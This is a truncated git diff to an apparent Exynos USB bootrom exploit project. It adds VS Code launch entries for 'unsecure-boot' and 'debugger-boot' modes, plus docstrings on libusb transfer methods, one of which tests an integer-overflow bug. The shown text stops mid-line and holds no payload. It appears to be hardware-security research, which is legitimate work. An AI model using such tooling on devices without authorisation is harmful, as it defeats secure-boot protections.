diff --git a/source/exploit/.vscode/launch.json b/source/exploit/.vscode/launch.json index eeb4db5..5c86962 100644 --- a/source/exploit/.vscode/launch.json +++ b/source/exploit/.vscode/launch.json @@ -28,7 +28,16 @@ "program": "exploit.py", "console": "integratedTerminal", "justMyCode": false, - "args": ["--boot"] + "args": ["--unsecure-boot"] + }, + { + "name": "Run debugger boot", + "type": "debugpy", + "request": "launch", + "program": "exploit.py", + "console": "integratedTerminal", + "justMyCode": false, + "args": ["--debugger-boot"], }, { "name": "Debug current file", diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index 378b100..21c9ef3 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -86,7 +86,7 @@ class ExynosDevice(): sys.exit(0) else: raise e - + # claim usb interface self.handle.claimInterface(0) print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}") @@ -98,12 +98,14 @@ class ExynosDevice(): self.context.exit() def write(self, data): + """Write data to the device""" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0) assert(res == 0), "Could not perform bulk transfer" return res def send_empty_transfer(self): + """Send an empty transfer (to not actually write data)""" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0) assert(res == 0) @@ -127,6 +129,7 @@ class ExynosDevice(): res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10) def test_bug(self): + """Verify bug existence""" # Start by sending a valid packet # Integer overflow in the size field # unk + size + payload + header @@ -147,39 +150,45 @@ class ExynosDevice(): TODO not working ''' # construct dl_data - dpayload = struct.pack("